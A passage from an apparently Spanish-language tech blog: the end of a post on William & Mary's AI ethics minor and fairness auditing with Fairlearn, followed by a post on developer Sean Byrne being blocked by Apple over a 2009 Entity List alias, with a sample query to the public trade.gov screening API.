A["Datos de entrenamiento"] --> B["Modelo de ml"]
B --> C["Metricas de fairness"]
C --> D["Reporte de auditoria"]
D --> E{"¿Pasa el umbral?"}
E -->|"Sí"| F["Despliegue a produccion"]
E -->|"No"| G["Reentrenamiento o mitigacion"]
subgraph Auditoria
C
D
E
end

Este es, en esencia, el tipo de flujo que una minor como la de William & Mary intenta que sus estudiantes entiendan de ambos lados: quien escribe el código que genera el reporte, y quien decide qué umbral es aceptable y por qué.

💡 Tip: IBM Research mantiene AIF360, otro kit open source con decenas de métricas de fairness y varios algoritmos de mitigación, útil si Fairlearn no cubre el caso de uso.

Cómo empezar a auditar tus propios modelos

No hace falta cursar una minor de ética de la ia para aplicar esto hoy. Si ya tenés un modelo de clasificación entrenado y un dataset con al menos un atributo sensible identificado, el camino más corto es:

Instalar Fairlearn (pip install fairlearn) o AIF360 en el entorno donde corren las predicciones de validación.- Elegir una métrica según la tabla anterior: paridad demográfica si el objetivo es acceso igualitario, equalized odds si el costo del error varía según el contexto.- Correr la métrica contra el conjunto de validación, no contra producción, para tener margen de corregir antes de exponer usuarios reales.- Documentar el resultado como parte del checklist de release, junto con precisión y demás métricas de performance, no como un informe separado que nadie revisa.

El paso que más equipos se saltan es el último. Es fácil correr la métrica una vez para un reporte interno y nunca más volver a mirarla cuando el modelo se reentrena con datos nuevos. Un pipeline de CI que corra la auditoría de fairness en cada reentrenamiento, igual que corre los tests unitarios, evita ese olvido.

Impacto y análisis

El mercado laboral ya está pidiendo este perfil híbrido, aunque todavía no tenga un nombre estandarizado en las publicaciones de empleo. Equipos que despliegan llms en producción necesitan a alguien que pueda leer un reporte de fairness y también explicarle al área legal o de producto qué significa ese número y qué riesgo implica ignorarlo.

La crítica más común a este tipo de programas es que la ética "no se puede enseñar en un aula" o que termina siendo un barniz sobre una carrera que sigue siendo, en el fondo, puramente técnica. Es una crítica válida cuando el programa se reduce a un seminario de lectura sin ninguna conexión con el código real. La diferencia que reclama William & Mary, igual que Stanford con Embedded EthiCS, es que la secuencia obliga a producir artefactos técnicos concretos (auditorías, reportes de métricas, decisiones de diseño documentadas), no solo ensayos.

El límite real de este enfoque es medir su efecto. Ninguna universidad publicó todavía un estudio longitudinal que compare el criterio de egresados de programas con minor de ética de la ia contra egresados sin ella. El anuncio de William & Mary tampoco incluye esa evidencia: es, por ahora, una apuesta curricular respaldada por la lógica del diseño del programa, no por un resultado medido.

Qué sigue

Es razonable esperar que más universidades sigan este camino de convertir la ética de la ia en una secuencia con crédito propio en lugar de un módulo suelto, sobre todo porque el costo de agregarla es relativamente bajo: no requiere infraestructura nueva, solo coordinación entre dos departamentos que ya existen. La pregunta más difícil no es si se enseña, sino si las empresas que contratan a esos egresados les dan margen real para frenar un despliegue cuando la auditoría da mal.

Ese es, en última instancia, el punto ciego de cualquier programa académico: un estudiante puede egresar sabiendo interpretar perfectamente una diferencia de paridad demográfica y aun así no tener autoridad organizacional para bloquear un release. La minor resuelve la parte del conocimiento. La parte del poder de decisión queda fuera del aula.

⚠️ Ojo: saber calcular una métrica de fairness no equivale a tener autoridad para frenar un despliegue. Eso depende de la cultura y la estructura de decisión de cada empresa, no del currículum universitario.

📖 Resumen en Telegram: Ver resumen

Probalo vos: instalá Fairlearn con pip install fairlearn y corré demographic_parity_difference contra las predicciones de validación de tu propio modelo hoy mismo.

Preguntas frecuentes

¿Qué universidades ya combinan ética y computación en un programa formal?

Stanford tiene Embedded EthiCS, que inserta módulos de filosofía dentro de cursos técnicos existentes. El MIT tiene el programa SERC (Social and Ethical Responsibilities of Computing). William & Mary suma ahora una minor con crédito académico propio que combina ambos departamentos en una secuencia formal.

¿Qué es la paridad demográfica en un modelo de ia?

Es una métrica de fairness que compara la tasa de predicciones positivas de un modelo entre distintos grupos definidos por un atributo sensible, como género o edad. Una diferencia cercana a cero indica que el modelo aprueba o rechaza casos a tasas similares entre esos grupos.

¿Sirve estudiar filosofía para trabajar como ingeniero de ia?

Ayuda a formular con precisión qué se le está pidiendo optimizar a un modelo y qué costos de error son aceptables, que son decisiones normativas, no solo técnicas. No reemplaza el conocimiento de programación ni de estadística que exige el puesto.

¿Qué herramientas gratuitas existen para auditar sesgo en un modelo propio?

Fairlearn, mantenida por Microsoft y la comunidad open source, y AIF360, de IBM Research, son las dos librerías de Python más usadas. Ambas son gratuitas y de código abierto.

¿Esta minor reemplaza un título en ciencias de la computación?

No. Es un complemento: una minor se cursa junto a una carrera principal (major), no en su lugar. Un estudiante de ciencias de la computación que completa esta minor suma la secuencia de ética aplicada a su título principal, no lo reemplaza.

Referencias

William & Mary News: anuncio oficial de la nueva minor interdisciplinaria.- Fairlearn: documentación oficial de la librería open source para auditar fairness en modelos de ml.- AIF360 en GitHub: kit de herramientas de IBM Research para detectar y mitigar sesgo algorítmico.- Ethics of artificial intelligence, Wikipedia: panorama general del campo y sus principales debates.- Embedded EthiCS, Stanford: programa que integra ética directamente en cursos de ciencias de la computación.

Apple bloquea a un developer real por un alias ficticio del 2009

lu1tr0n — Sat, 15 Aug 2026 14:24:44 +0000

Apple le negó a Sean Byrne el acceso a App Store Connect a principios de 2026 porque su nombre coincidió con una entrada de la lista restringida del gobierno de Estados Unidos agregada en 2009, y esa entrada no corresponde a ninguna persona real.

El caso expone un problema que cualquier developer con un nombre común puede sufrir: los sistemas de cumplimiento automatizado que filtran cuentas de App Store Connect, ventas de acciones o envíos internacionales comparan tu nombre contra listas de sanciones sin verificar identidad real, y cuando la coincidencia es un fantasma administrativo, nadie sabe a quién corregir.

TL;DR

Apple le negó a Sean Byrne el acceso a App Store Connect en 2026 por una coincidencia en la lista restringida de EE. UU.- La entrada corresponde a «Sean Byrne, Cloonmull House, Drumcliffe, County Sligo, Irlanda», agregada al Entity List el 21 de julio de 2009.- Esa dirección y ese nombre nunca fueron una persona real: era un alias que los McGuinn usaban para inflar el tamaño de Mac Aviation.- La superseding indictment de 2010 menciona el alias «Sean Byrne» más de 15 veces como usado por coconspiradores, no como acusado.- La entrada tiene política de «presumption of denial»: exportar a ese nombre se deniega por defecto según el EAR.- Nasdaq y DHL marcaron el mismo nombre pero resolvieron el falso positivo en horas o días con el pasaporte de Byrne.- Apple ya tenía el pasaporte y la licencia de Byrne, y aun así no resolvió ni respondió el caso.

Qué pasó: un pasaporte no alcanzó

La respuesta de Apple, traducida, decía algo así: «la información que proporcionaste coincide totalmente con una o más partes restringidas en la lista de screening consolidada del gobierno de EE. UU. o en la lista de sanciones de otro gobierno». Byrne respondió con su nombre legal completo, Sean Joseph Byrne, subió su licencia de conducir y señaló que la dirección del registro gubernamental con el que lo estaban confundiendo no era, ni había sido nunca, su domicilio. Pidió que escalaran el caso al equipo de sanctions compliance para obtener una determinación formal de no coincidencia.

Apple no volvió a responder. No fue la primera vez que Byrne enfrentaba este problema: ya le había pasado con Nasdaq durante la venta de acciones en un tender offer, y con DHL al recibir un envío de SpaceX. En ambos casos, entregar el pasaporte bastó para desbloquear la operación en cuestión de horas o días.
Cloonmull House, la dirección de Sligo detrás del alias de 2009.

La lista restringida: qué es y cómo funciona

La Consolidated Screening List (CSL) no es en sí misma una lista de sanciones: es una herramienta que combina varias listas de control de exportaciones y partes restringidas mantenidas por los departamentos de Comercio, Estado y Tesoro de EE. UU. La documentación oficial de Trade.gov la describe como un punto de búsqueda único para que empresas verifiquen si un cliente, proveedor o usuario final aparece en alguna de esas listas antes de exportar, vender o dar acceso a su plataforma.

La entrada que atrapa a Byrne viene específicamente del Entity List de la Bureau of Industry and Security (BIS), agregada el 21 de julio de 2009. Su política de licencia es de «presumption of denial»: si alguien solicita autorización para exportar un ítem sujeto a las Export Administration Regulations (EAR) a ese nombre, la respuesta por defecto es negar. Es una herramienta de control de exportaciones, no una lista de quién puede trabajar o vender acciones, pero en la práctica cualquier sistema de cumplimiento corporativo la usa para bloquear cuentas, transacciones y envíos por igual.

📌 Nota: el registro de Byrne en la lista restringida no tiene fecha de nacimiento, número de pasaporte, segundo nombre ni ningún otro identificador personal. Solo un nombre común y una dirección en Sligo.

Cloonmull House: el fantasma detrás del alias

El origen de la entrada está en la causa contra Mac Aviation, una empresa irlandesa de repuestos aeronáuticos procesada en 2009. El Departamento de Justicia acusó a Thomas y Sean McGuinn, padre e hijo, junto con un tal «Sean Byrne» descrito como gerente comercial de la empresa, por exportar ilegalmente equipos de aviación estadounidenses a Irán.

Mac Aviation operaba desde una casa de campo en las afueras de Drumcliffe, con el monte Ben Bulben de fondo. Según reportó John Mooney en el Sunday Times, un funcionario de Rolls-Royce que visitó las instalaciones esperando encontrar una operación global con cientos de empleados se topó, en cambio, con un padre y su hijo trabajando en una casa de campo. Para sostener la ilusión de una empresa grande, los McGuinn firmaban documentos con nombres falsos, y «Sean Byrne» aparecía en tantos papeles que las autoridades estadounidenses llegaron a convencerse de que existía y trataron de indagarlo.

Cuando el Departamento de Justicia presentó una superseding indictment en 2010, que reemplazó a la original, «Sean Byrne» ya no figuraba como acusado. Los acusados pasaron a ser Mac Aviation y los dos McGuinn. Más importante: el nuevo documento describe repetidamente a «Sean Byrne» como un alias usado por uno o más coconspiradores, con más de 15 menciones ligadas a facturas, correos y una declaración de propiedad específicas. El personal de Mac Aviation usaba ese nombre con proveedores en EE. UU. y clientes en Irán.

En algún momento el propio gobierno de EE. UU. entendió que «Sean Byrne» no era una persona separada. Aun así, la entrada en el Entity List sobrevivió. Dieciséis años después, sigue sin fecha de nacimiento ni identificadores adicionales: apenas un nombre irlandés común, una dirección en Sligo y un país.

Cómo el cotejo automático convierte un nombre común en un bloqueo

El problema técnico detrás de este caso no es la lista en sí, sino cómo las empresas la consultan. Un sistema de screening típico no busca coincidencia exacta de identidad, algo que requeriría número de pasaporte, fecha de nacimiento o identificador fiscal, sino similitud de nombre, a veces con tolerancia fonética para capturar variaciones de transliteración. Eso funciona bien para detectar a alguien que intenta evadir una sanción cambiando de grafía su nombre, pero también genera coincidencias con cualquier persona que, por pura casualidad, se llame igual que una entrada mal documentada.

flowchart TD
A["Developer envía datos a App Store Connect"] --> B["Normalizar nombre"]
B --> C["Comparar contra Consolidated Screening List"]
C --> D{"Score de similitud mayor al umbral?"}
D -- "Sí" --> E["Cuenta bloqueada automáticamente"]
D -- "No" --> F["Acceso aprobado"]
E --> G["Revisión humana"]
G --> H["Determinación final"]

El punto crítico del diagrama es el paso G: la revisión humana. Nasdaq y DHL la ejecutaron rápido, en el mismo llamado o en un par de días. En el caso de Byrne con Apple, la cadena parece detenerse justo ahí: el pasaporte y la licencia llegaron, pero nunca hubo una determinación formal de no coincidencia comunicada de vuelta.

Cómo verificar si tu nombre aparece en la lista restringida

Trade.gov publica una API pública y gratuita para consultar la Consolidated Screening List sin depender del formulario web. El siguiente comando busca coincidencias exactas o parciales por nombre:

curl "https://api.trade.gov/consolidated_screening_list/search?name=Sean%20Byrne&api_key=TU_API_KEY"

La respuesta trae un array results con cada coincidencia, incluyendo la fuente (Entity List, SDN, Denied Persons List, entre otras), la dirección registrada y un score de similitud textual. Para automatizar una verificación previa, antes de completar un formulario de KYC o de una plataforma como App Store Connect, un script simple ayuda a anticipar si tu nombre va a generar ruido:

import fetch from "node-fetch";

async function buscarEnListaRestringida(nombreCompleto) {
  const url = new URL("https://api.trade.gov/consolidated_screening_list/search");
  url.searchParams.set("name", nombreCompleto);
  url.searchParams.set("api_key", process.env.TRADE_GOV_API_KEY);

  const res = await fetch(url);
  const data = await res.json();

  return data.results.map((entrada) => ({
    nombre: entrada.name,
    fuente: entrada.source,
    direccion: entrada.addresses?.[0]?.address ?? "sin direccion registrada",
    score: entrada.score,
  }));
}

const coincidencias = await buscarEnListaRestringida("Sean Byrne");
console.log(coincidencias);

Si el resultado trae una entrada sin fecha de nacimiento, sin número de pasaporte y con una dirección donde nunca viviste, tenés un indicio fuerte de falso positivo: podés adjuntar esa comparación (nombre, dirección, ausencia de identificadores) al reclamo que envíes a soporte, tal como hizo Byrne con Apple, Nasdaq y DHL.

⚠️ Ojo: tener el pasaporte del solicitante no garantiza que el equipo de soporte tenga acceso al canal de sanctions compliance. Ese fue precisamente el punto donde Apple, a diferencia de Nasdaq y DHL, no avanzó.
Un score de similitud, no una identidad verificada, dispara el bloqueo.

Apple contra Nasdaq y DHL: tres respuestas al mismo falso positivo

El caso de Byrne sirve como comparación directa de cómo distintas empresas manejan la misma alerta de la lista restringida.
EmpresaQué pidióTiempo de resoluciónResultadoNasdaqConfirmación de la dirección en California durante una llamadaMismo díaVenta de acciones completadaDHL (envío de SpaceX)Copia del pasaporteDíasPaquete entregado, incluso un envío posterior a IrlandaApplePasaporte y luego licencia de conducirSin resolución al momento de publicarse el casoCuenta de App Store Connect bloqueada
La diferencia no está en la calidad de la evidencia que Byrne entregó, que fue la misma en los tres casos, sino en si la empresa tiene un canal donde una persona de cumplimiento pueda cerrar el caso con una determinación explícita de no coincidencia. Nasdaq y DHL lo tienen. Apple, al menos en la experiencia documentada, no lo mostró.

Qué sigue

Para Byrne, el camino más realista es seguir escalando dentro de Apple o esperar a que el propio gobierno de EE. UU. actualice o retire la entrada de 2009, algo que no depende de él. Para cualquier developer o empresa que construya flujos de alta de usuarios, KYC o verificación de cuentas, el caso deja una lección de diseño muy concreta: una coincidencia de nombre sin identificadores adicionales (fecha de nacimiento, número de documento, dirección verificada) no debería bloquear una cuenta de forma automática y silenciosa. Como mínimo, el sistema necesita una vía de escalamiento a un humano con autoridad para resolver, y un plazo de respuesta.

📖 Resumen en Telegram: Ver resumen

Probalo vos: corré el comando curl de la Consolidated Screening List con tu propio nombre completo antes de completar tu próximo formulario de verificación en cualquier plataforma.

Preguntas frecuentes

¿Qué es la Consolidated Screening List?

Es una herramienta del gobierno de EE. UU. que combina varias listas de control de exportaciones y partes restringidas de los departamentos de Comercio, Estado y Tesoro en un único punto de búsqueda para empresas.

¿Por qué un alias de 2009 sigue activo dieciséis años después?

Porque nadie solicitó formalmente su retiro del Entity List. Aunque la superseding indictment de 2010 aclaró que «Sean Byrne» era un alias y no una persona, esa aclaración quedó en un documento judicial y nunca se tradujo en una actualización de la lista administrativa.

¿Le puede pasar esto a cualquier developer con un nombre común?

Sí. Cuanto más común es el nombre, mayor la probabilidad de coincidencia con alguna de las miles de entradas combinadas por la Consolidated Screening List, sobre todo cuando la entrada carece de identificadores adicionales.

¿Qué debería hacer alguien si su nombre coincide con una entrada?

Reunir evidencia de identidad (pasaporte, licencia, comprobante de domicilio) y pedir explícitamente una determinación de no coincidencia al equipo de sanctions compliance de la empresa, no solo al soporte general.

¿Qué significa «presumption of denial»?

Es la política de licencia asociada a ciertas entradas del Entity List: si alguien pide autorización para exportar un ítem sujeto al EAR a esa entrada, la respuesta por defecto del gobierno de EE. UU. es negar la licencia.

¿Apple respondió públicamente al caso?

Según el relato original de Byrne, Apple no volvió a responder después de recibir su pasaporte y licencia de conducir, más allá del mensaje automático inicial que citaba la coincidencia con la lista restringida.

Referencias

The Other Sean Byrne Doesn't Exist, de Sean Byrne: el relato original en primera persona del caso con Apple, Nasdaq y DHL.- Trade.gov, Consolidated Screening List: documentación oficial y API pública para consultar las listas combinadas de partes restringidas.- Bureau of Industry and Security, Entity List: la lista específica de la que proviene la entrada que afecta a Byrne.- Wikipedia, Export Administration Regulations: contexto sobre el marco legal (EAR) que sostiene la política de «presumption of denial».